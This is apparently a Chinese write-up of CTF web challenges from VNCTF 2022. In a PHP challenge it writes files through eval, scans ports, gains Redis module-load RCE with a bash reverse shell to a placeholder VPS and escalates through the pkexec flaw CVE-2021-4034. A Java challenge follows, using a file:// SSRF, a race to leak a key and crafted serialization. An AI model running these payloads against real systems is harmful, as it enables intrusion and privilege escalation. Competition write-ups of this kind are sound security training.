发现 phpinfo() 被ban,但是依旧可以通过 ini_get_all() 来读取php相关的配置信息,包括 disable_functions/disable_class/open_basedir 等信息都是⽐较重要的。
var_dump(get_cfg_var(%27disable_functions%27)); //这个在本题目不可用
exp=print_r(ini_get_all());
使⽤ scandir() 来探测⽬录⽂件发现存在⼀个 secret.rdb ⽂件,可以直接下载下来,到这⾥其实就可以发现 是⼀个redis数据的备份⽂件,关注点在: sercetye_w4nt_a_gir1fri3nd
可以猜测redis的auth为 ye_w4nt_a_gir1fri3nd
然后就是端⼝扫描寻找redis端⼝的操作,可以参考WMCTF2021中 MakePHPGreatAgainAndAgain 的探测⽅法,使 ⽤ stream_socket_server() 来探测端⼝,构造
highlight_file(__FILE__);
# Port scan
for($i=0;$i<65535;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
base64编码处理:
# -*- coding: utf-8 -*-
# @Author : Yn8rt
# @Time : 2021/9/10 14:38
import base64
a = open("1.txt", 'rb')
# print(a.read())
print(base64.b64encode(a.read()))
写入:
/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));
POST:
a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaS
srKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaW
YoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==
利⽤ get_loaded_extensions() 可以看到PHP加载的插件,从中可以看到题⽬环境中加载了PHP的redis插件 (redis.so),翻找⼀下⽂档可以找到这个插件的Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作。
?exp=print_r(get_loaded_extensions());
要素⻬全,可以实现redis主从复制RCE,先利⽤ file_put_contents() 来写⼊⼀个redis主从复制RCE的so⽂件, 接下来就是构造⼀个反弹Shell的Payload:
$redis = new Redis();
$redis->connect('127.0.0.1',8888);
$redis->auth('ye_w4nt_a_gir1fri3nd');
$redis->rawCommand('module','load','/var/www/html/exp.so');
$redis->rawCommand("system.exec","bash -c 'exec bash -i &>/dev/tcp/VPS_IP/PORT <&1'");
这里考点就是近期爆出的pkexec提权漏洞,同样的方法写入pkexec提权的poc,这里分享-个: https://github.com/arthepsy/CVE-2021-4034.git
chmod +x 1.c
gcc 1.c -o shell
./shell
cat /flag
直接去js里面找
文件读取tomcat基础路径:1.13.163.248:8087/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/util/SerAndDe.class
去**1.13.163.248:8087/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/**这下面,挨个把文件down下来然后反编译一下
servlet.HelloWorldServlet:
import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import servlet.HelloWorldServlet;
import util.Secr3t;
import util.SerAndDe;
@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {
private volatile String name = "m4n_q1u_666";
private volatile String age = "666";
private volatile String height = "180";
User user;
public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null)
this.name = reqName;
if (Secr3t.check(this.name)) {
Response(resp, "no vnctf2022!");
return;
}
if (Secr3t.check(this.name))
Response(resp, "The Key is " + Secr3t.getKey());
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Base64.Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u))
Response(resp, "DeserializeFlag is " + Secr3t.getFlag().toString());
} else {
Response(resp, "KeyError");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
这里有个大体思路:绕过前面的两个if,然后自己进行序列化
第一个考点:
这里我用的bp进行类似于条件竞争的操作进行发包
GET /evi1?name=vnctf2022 HTTP/1.1
Host: 1.13.163.248:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
GET /evi1?name=vnc2 HTTP/1.1
Host: 1.13.163.248:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
最后会得到长度为136的包里面就是key
servlet.FileServlet:
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import servlet.FileServlet;
import util.UrlUtil;
@WebServlet(name = "FileServlet", urlPatterns = {"/file"})
public class FileServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("url");
if (url != null) {
InputStream responseContent = null;
try {
responseContent = UrlUtil.visit(url);
IOUtils.copy(responseContent, (OutputStream)resp.getOutputStream());
resp.flushBuffer();
} catch (Exception e) {
e.printStackTrace();
} finally {
responseContent.close();
}
} else {
Response(resp, "please input a url");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
util.SerAndDe:
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class SerAndDe {
public static byte[] serialize(Object object) {
ObjectOutputStream oos = null;
ByteArrayOutputStream bos = null;
try {
bos = new ByteArrayOutputStream();
oos = new ObjectOutputStream(bos);
oos.writeObject(object);
byte[] b = bos.toByteArray();
return b;
} catch (IOException e) {
System.out.println("serialize Exception:" + e.toString());
return null;
} finally {
try {
if (oos != null)
oos.close();
if (bos != null)
bos.close();
} catch (IOException ex) {
System.out.println("io could not close:" + ex.toString());
}
}
}
public static Object deserialize(byte[] bytes) {
ByteArrayInputStream bais = null;
try {
bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
} catch (ClassNotFoundException|IOException e) {
System.out.println("deserialize Exception:" + e.toString());
return null;
} finally {
try {
if (bais != null)
bais.close();
} catch (IOException ex) {
System.out.println("LogManage Could not serialize:" + ex.toString());
}
}
}
}
这里为我们提供了序列化和反序列化函数
util.UrlUtil:
import java.io.InputStream;
import java.net.URL;
public class UrlUtil {
public static InputStream visit(String url) throws Exception {
URL file = new URL(url);
InputStream inputStream = file.openStream();
return inputStream;
}
}
entity.User:
import entity.User;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class User implements Serializable {
private String name;
private String age;
private transient String height;
public User(String name, String age, String height) {
this.name = name;
this.age = age;
this.height = height;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public String getAge() {
return this.age;
}
public void setAge(String age) {
this.age = age;
}
public String getHeight() {
return this.height;
}
public void setHeight(String height) {
this.height = height;
}
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
this.height = (String)s.readObject();
}
public boolean equals(Object obj) {
if (obj == null)
return false;
if (this == obj)
return true;
if (obj instanceof User) {
User user = (User)obj;
if (user.getAge().equals(this.age) && user.getHeight().equals(this.height) && user.getName().equals(this.name))
return true;
return false;
}
return false;
}
public String toString() {
return "User{name='" + this.name + '\'' + ", age='" + this.age + '\'' + ", height='" + this.height + '\'' + '}';
}
}
所以我们需要加一个writeobject函数:
private void writeObject(ObjectOutputStream s) throws IOException, ClassNotFoundException { s.defaultWriteObject();
s.writeObject("180");
}
util.Secr3t:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;
import util.Secr3t;
public class Secr3t {
private static final String Key = RandomStringUtils.randomAlphanumeric(32);
private static StringBuffer Flag;
public static String getKey() {
return Key;
}
public static StringBuffer getFlag() {
Flag = new StringBuffer();
InputStream in = null;
try {
in = Runtime.getRuntime().exec("/readflag").getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
BufferedReader read = new BufferedReader(new InputStreamReader(in));
try {
String line = null;
while ((line = read.readLine()) != null)
Flag.append(line + "\n");
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
in.close();
read.close();
} catch (IOException e) {
e.printStackTrace();
System.out.println("Secr3t : io exception!");
}
}
return Flag;
}
public static boolean check(String checkStr) {
if ("vnctf2022".equals(checkStr))
return true;
return false;
}
}
exp:
import java.util.Base64;
import entity.User;
public class main {
public static void main(String[] args) {
User u = new User("m4n_q1u_666", "666", "180");
byte[] bytes = SerAndDe.serialize(u);
String string = new String(Base64.getEncoder().encode(bytes));
System.out.println(string);
Base64.Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode("rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHgrO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg==");
User uu = (User) SerAndDe.deserialize(textByte);
System.out.println(u.equals(uu));
}
}
总共两个考点
把经过base64加密的session大体删减一下就出了